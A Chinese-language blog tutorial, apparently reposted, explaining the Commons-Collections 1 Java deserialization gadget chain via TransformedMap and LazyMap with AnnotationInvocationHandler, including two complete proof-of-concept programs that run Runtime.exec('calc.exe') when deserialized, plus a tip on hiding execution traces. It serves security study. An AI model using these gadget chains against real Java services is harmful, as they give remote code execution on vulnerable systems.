赞
踩
第一次接触反序列化漏洞时写的初识Java反序列化漏洞这篇文章当中已经分析过一遍Common-Collections的两条链子(分别用的TransformedMap
和LazyMap
构造恶意对象反射链,AnnotationInvocationHandler
(CC1)和BadAttributeValueExpException
(CC5)调用transform())。这次从Common-Collections1开始再捋一遍,顺便自己写一遍exp加深印象。
本文环境为jdk1.7_80
,commons-collections-3.2.1.jar。下载jar包添加依赖或者maven项目idea直接添加依赖(推荐)
下面是ysoserial当中CC1的Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()//恶意对象反射链部分
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ysoserial用的是LazyMap
进行构造,相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因在后面部分会解释。先把这个放到一边,从TransformedMap链开始搞清楚原理。
先看一个简单的demo
package ser; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { //这是两个链子当中相同的部分,用于串起命令执行调用链 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); //包装innerMap,回调TransformedMap.decorate Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发回调 outerMap.put("test", "xxxx"); } }
其实把这几个函数是干嘛的搞明白就能看懂了,IDEA当中查看源码记得点一下下载源代码,直接反编译class的源码会有些许不同。
Transformer
是一个接口,它只有一个待实现的transform
方法:
public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer
是实现了Transformer
接口的一个类,实例化类时通过构造函数传入一个对象,在调用其transform()
方法将这个对象再返回,在执行回调时方便后续操作(传给InvokerTransformer
的transform
方法)。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
InvokerTransformer
也是实现Transformer
接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform
方法即可回调input
对象的相应方法(用于调用任意方法命令执行):
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
ChainedTransformer
也实现了Transformer
接口,实例化时传入一Transformer
数组,其transform
方法将内部的多个Transformer
串在一起。前一个回调返回的结果,作为后一个回调的参数传入。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
到这基本整条命令执行的链子就串起来了(到demo代码中transformerChain
的部分),下图截取自Java安全漫谈
调试调用过程之前写过了,这里就不跟了。
demo当中其实就是对Runtime对象的exec方法进行了一个回调,还需要有东西去触发整条链子,即调用ChainedTransformer
的transform
方法。
TransformedMap
用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } ................ protected Object transformValue(Object object) { if (valueTransformer == null) { return object; } return valueTransformer.transform(object); } ............. public Object put(Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); }
使用方法如下:
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后向Map中放入一个新的元素触发回调
outerMap.put("test", "xxxx");
现在整个demo的逻辑就清晰了,但还不是一个真正能用的POC,还需要一个类readObject
方法能够代替outerMap.put
触发回调,即存在设置值的操作,即:
sun/reflect/annotation/AnnotationInvocationHandler.java
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
核心逻辑为Map.Entry<String, Object> memberValue : memberValues.entrySet()
和memberValue.setValue(...)
memberValues
就是反序列化后得到的Map
,也是经过了TransformedMap
修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap
里注册的Transform
,开始整个链子的回调。
注意在进入memberValue.setValue
逻辑前有有两个条件需要满足
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
....................
if (memberType != null) { // i.e. member still exists
需满足:
//通过反射调用构造函数实例化
construct.newInstance(Retention.class, outerMap);
被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
innerMap.put("value", "xxxx");
因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new,需反射来完成实例化
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这时候还需要将前面的恶意反射链那的调用改成反射,不然会报错,Runtime类没有实现 java.io.Serializable 接口,不能序列化。
上面提到InvokerTransformer
能调用类的方法,所以可以使用反射的形式去回调(因为Class
类是实现了Serializable
接口的)。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
package ser; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}), }; Transformer transformerChain = new ChainedTransformer(transformers); //包装innerMap,回调TransformedMap.decorate Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发回调 //outerMap.put("test", "xxxx"); //反射调用AnnotationInvocationHandle Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); Object obj = construct.newInstance(Retention.class, outerMap); //生成序列化数据 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(obj); oos.close(); System.out.println(barr); //反序列化 ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); ois.readObject(); } }
在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,传进去的恶意Map不再执行set或put操作,便无法触发transform。
现在开始步入真正的CommonCollections1利用链
先瞅一眼ysoserial的代码,发现用的是LazyMap
:
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {.......... public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } ................. public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
decorate方法:
返回一个修饰后的Map
,和TransformedMap.decorate
的用法差不多。
get方法:
当这个Map调用get
找不到值的时候,它会调用factory.transform
方法去获取一个值(TransformedMap
是在写入元素时调用put
执行transform
)
使用方法如下:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
outerMap.get("xxx");
现在的问题变成了怎么去调用这个get
方法,AnnotationInvocationHandler
的readObject
方法中并没有直接调用到Map的get
方法,但是其invoke
方法有调用:
public Object invoke(Object proxy, Method method, Object[] args) {
.....................
// Handle annotation member accessors
Object result = memberValues.get(member);
要想调用这个invoke
就得用到Java动态对象代理
之前写过Javaweb安全学习——Java动态代理,这里只要知道一点,在执行代理对象的任意方法时,实际都是去执行InvocationHandler对象的invoke方法。
sun.reflect.annotation.AnnotationInvocationHandler
就
是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject
的时候,只要调用任意方法(如:readObject
方法),就会进入到AnnotationInvocationHandler#invoke 方法,完成链子的启动。
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
不过这时的proxyMap
还不能直接序列化,因为入口点是
AnnotationInvocationHandler#readObject
,所以还需要再用AnnotationInvocationHandler
对这个proxyMap
进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
package ser; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String args[]) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); //用AnnotationInvocationHandler对proxyMap进行包裹 handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); //生成序列化数据 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); //反序列化 ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); ois.readObject(); } }
看到ysoserial的Transformer数组最后还有一个ConstantTransformer(1)
这可以隐藏错误信息中的命令执行特征
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。